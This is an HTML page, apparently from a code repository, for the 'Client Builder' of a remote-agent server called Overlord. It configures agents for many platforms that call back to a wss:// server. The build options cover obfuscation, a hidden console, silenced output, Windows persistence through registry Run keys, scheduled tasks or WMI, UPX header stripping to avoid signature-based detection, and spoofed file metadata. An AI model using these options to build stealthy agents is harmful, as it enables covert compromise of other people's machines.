Files
overlord/Overlord-Server/public/build.html
T

556 lines
27 KiB
HTML
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Client Builder - Overlord</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
rel="stylesheet"
/>
<link rel="stylesheet" href="/assets/tailwind.css" />
<link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
crossorigin="anonymous"
referrerpolicy="no-referrer"
/>
<link rel="icon" type="image/x-icon" href="/assets/favicon.ico" />
<link rel="stylesheet" href="/assets/main.css" />
<script
src="https://cdnjs.cloudflare.com/ajax/libs/animejs/3.2.2/anime.min.js"
crossorigin="anonymous"
referrerpolicy="no-referrer"
></script>
<script src="/assets/toast.js"></script>
<script src="/assets/ripple.js"></script>
</head>
<body class="min-h-screen bg-slate-950 text-slate-100">
<header id="top-nav"></header>
<main class="px-5 py-6">
<div class="max-w-6xl mx-auto flex flex-col gap-5">
<div class="flex items-center justify-between gap-3 flex-wrap">
<div>
<h1 class="text-2xl font-semibold">Client Builder</h1>
<p class="text-slate-400">
Build customized Overlord client agents
</p>
</div>
</div>
<div class="grid grid-cols-1 lg:grid-cols-2 gap-5">
<!-- Build Configuration -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-5">
<h2 class="text-xl font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-gear"></i> Build Configuration
</h2>
<form id="build-form" class="flex flex-col gap-4">
<!-- Platform Selection -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2"
>Target Platform</label
>
<div class="grid grid-cols-2 gap-2">
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-amd64"
class="w-4 h-4"
checked
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows x64</span
>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-386"
class="w-4 h-4"
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows x86</span
>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="windows-arm64"
class="w-4 h-4"
/>
<span
><i class="fa-brands fa-windows text-blue-400"></i> Windows ARM64</span
>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="linux-armv7"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-amber-400"></i> Linux ARMv7</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="darwin-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="darwin-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-apple text-slate-200"></i> macOS ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="freebsd-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="freebsd-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-linux text-cyan-300"></i> FreeBSD ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-arm64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-android text-green-400"></i> Android ARM64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-amd64"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-android text-green-400"></i> Android x64</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-blue-500 transition-colors"
>
<input
type="checkbox"
name="platform"
value="android-armv7"
class="w-4 h-4"
/>
<span><i class="fa-brands fa-android text-green-400"></i> Android ARMv7</span>
</label>
</div>
</div>
<!-- Server URL -->
<div>
<label
class="block text-sm font-medium text-slate-300 mb-2"
for="server-url"
>
Server URL
</label>
<input
type="text"
id="server-url"
name="server-url"
placeholder="wss://your-server:5173"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<label class="mt-2 flex items-center gap-2 text-xs text-slate-400">
<input type="checkbox" id="raw-server-list" name="raw-server-list" class="w-4 h-4" />
Use raw HTTPS server list (fetches multiple wss:// endpoints)
</label>
<p class="text-xs text-slate-500 mt-1">
When enabled, the URL above must be a raw HTTPS link that contains one wss:// endpoint per line.
</p>
</div>
<!-- Output Name -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2" for="output-name">
Output Filename
</label>
<input
type="text"
id="output-name"
name="output-name"
placeholder="agent (default)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<p class="text-xs text-slate-500 mt-1">
Optional: Custom name prefix for output binaries (letters, numbers, . _ - only)
</p>
</div>
<!-- Mutex -->
<div>
<label
class="block text-sm font-medium text-slate-300 mb-2"
for="mutex"
>
Mutex (Single-Instance Key)
</label>
<input
type="text"
id="mutex"
name="mutex"
placeholder="Leave empty for random"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg focus:outline-none focus:border-blue-500 transition-colors"
/>
<p class="text-xs text-slate-500 mt-1">
Optional: Set a fixed mutex or leave empty to auto-generate
</p>
<label
class="mt-2 flex items-center gap-2 text-xs text-slate-400"
>
<input type="checkbox" name="disable-mutex" class="w-4 h-4" />
Disable mutex (allow multiple instances)
</label>
</div>
<!-- Build Options -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2"
>Build Options</label
>
<div class="flex flex-col gap-2">
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer"
>
<input
type="checkbox"
name="strip-debug"
class="w-4 h-4"
checked
/>
<span>Strip debug symbols (-s -w)</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer"
>
<input
type="checkbox"
name="disable-cgo"
class="w-4 h-4"
/>
<span>Disable CGO</span>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors"
title="Build with garble for obfuscation (requires garble installed on the server)"
>
<input
type="checkbox"
name="obfuscate"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-mask text-purple-400"></i>
Obfuscate (garble)</span
>
<span class="text-xs text-slate-500"
>Build with garble for code obfuscation</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors"
title="Enable automatic startup on system boot (disabled by default for security)"
>
<input
type="checkbox"
name="enable-persistence"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-power-off text-orange-400"></i>
Enable Persistence (Auto-start)</span
>
<span class="text-xs text-slate-500"
>Agent will start automatically with system boot</span
>
</div>
</label>
<!-- Persistence method selector – Windows only, shown when persistence is enabled -->
<div
id="persistence-method-container"
class="hidden pl-3 border-l-2 border-orange-500/40"
>
<label
class="block text-xs font-medium text-slate-400 mb-1"
for="persistence-method"
>Windows Persistence Method</label
>
<select
id="persistence-method"
name="persistence-method"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-orange-500 transition-colors"
>
<option value="startup">Startup Folder (APPDATA)</option>
<option value="registry">Registry (HKCU Run key)</option>
<option value="taskscheduler">Task Scheduler (ONLOGON, requires admin)</option>
<option value="wmi">WMI Subscription (requires admin)</option>
</select>
<p class="text-xs text-slate-500 mt-1">
Method used on Windows; other platforms use their native mechanism
</p>
</div>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors"
title="Windows only: build without a console window"
>
<input
type="checkbox"
name="hide-console"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-window-minimize text-emerald-400"></i>
Hide Console Window
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows</span></span
>
<span class="text-xs text-slate-500"
>Builds Windows EXEs as GUI apps (no console)</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-rose-500 transition-colors"
title="Disable all client-side printing/logging output"
>
<input
type="checkbox"
name="no-printing"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-volume-xmark text-rose-400"></i>
Disable Client Printing</span
>
<span class="text-xs text-slate-500"
>Silence all stdout/stderr and log output</span
>
</div>
</label>
<label
class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-cyan-500 transition-colors"
title="Compress binaries with UPX to reduce file size"
>
<input
type="checkbox"
name="enable-upx"
class="w-4 h-4"
/>
<div class="flex flex-col">
<span class="flex items-center gap-2"
><i class="fa-solid fa-compress text-cyan-400"></i>
UPX Compression</span
>
<span class="text-xs text-slate-500"
>Compress binaries with UPX (requires UPX installed on server)</span
>
</div>
</label>
<div
id="upx-settings-container"
class="hidden pl-3 border-l-2 border-cyan-500/40"
>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="upx-strip-headers" class="w-4 h-4" />
<div class="flex flex-col">
<span>Strip UPX Headers</span>
<span class="text-xs text-slate-500">Remove UPX magic bytes to avoid signature-based detection</span>
</div>
</label>
</div>
</div>
</div>
<!-- Garble Settings (shown when obfuscate is checked) -->
<div id="garble-settings-container" class="hidden">
<label class="block text-sm font-medium text-slate-300 mb-2">
<i class="fa-solid fa-mask text-purple-400"></i> Garble Settings
</label>
<div class="flex flex-col gap-2 pl-3 border-l-2 border-purple-500/40">
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="garble-literals" class="w-4 h-4" />
<div class="flex flex-col">
<span>Obfuscate Literals (-literals)</span>
<span class="text-xs text-slate-500">Obfuscate string and byte slice literals</span>
</div>
</label>
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer">
<input type="checkbox" name="garble-tiny" class="w-4 h-4" />
<div class="flex flex-col">
<span>Tiny Mode (-tiny)</span>
<span class="text-xs text-slate-500">Remove extra info like filenames and line numbers from panics</span>
</div>
</label>
<div>
<label class="block text-xs font-medium text-slate-400 mb-1" for="garble-seed">Seed</label>
<input type="text" id="garble-seed" name="garble-seed" placeholder="random (default)"
class="w-full px-3 py-2 bg-slate-800/80 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-purple-500 transition-colors" />
<p class="text-xs text-slate-500 mt-1">Alphanumeric seed for reproducible builds</p>
</div>
</div>
</div>
<!-- Windows Assembly / PE Metadata -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
</label>
<div class="flex flex-col gap-2">
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-product" name="assembly-product" placeholder="Product Name"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-company" name="assembly-company" placeholder="Company Name"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-version" name="assembly-version" placeholder="File Version (e.g. 1.0.0.0)"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
<input type="text" id="assembly-copyright" name="assembly-copyright" placeholder="Copyright"
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors" />
</div>
</div>
<!-- Icon Upload -->
<div>
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
</label>
<div class="flex items-center gap-3">
<label class="flex items-center gap-2 px-4 py-2 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-yellow-500 transition-colors text-sm">
<i class="fa-solid fa-upload text-yellow-400"></i>
<span id="icon-label">Choose .ico file</span>
<input type="file" id="icon-upload" name="icon-upload" accept=".ico" class="hidden" />
</label>
<button type="button" id="icon-clear" class="hidden text-xs text-red-400 hover:text-red-300">Clear</button>
</div>
</div>
<!-- Build Button -->
<button
type="submit"
id="build-btn"
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed"
>
<i class="fa-solid fa-hammer"></i>
<span>Start Build</span>
</button>
</form>
</div>
<!-- Build Output -->
<div class="bg-slate-900/70 border border-slate-800 rounded-lg p-5">
<h2 class="text-xl font-semibold mb-4 flex items-center gap-2">
<i class="fa-solid fa-terminal"></i> Build Output
</h2>
<div id="build-status" class="mb-4 hidden">
<div
class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60"
>
<i class="fa-solid fa-spinner fa-spin"></i>
<span id="build-status-text">Building...</span>
</div>
</div>
<div
id="build-output-container"
class="bg-slate-950 border border-slate-700 rounded-lg p-4 h-96 overflow-y-auto font-mono text-sm"
>
<div id="build-output" class="text-slate-400">
Ready to build. Select platforms and click "Start Build".
</div>
</div>
<!-- Build Results -->
<div id="build-results" class="mt-4 hidden">
<h3 class="font-medium mb-2 flex items-center gap-2">
<i class="fa-solid fa-download"></i> Built Clients
</h3>
<div id="build-files" class="flex flex-col gap-2"></div>
</div>
</div>
</div>
</div>
</main>
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/build.js"></script>
</body>
</html>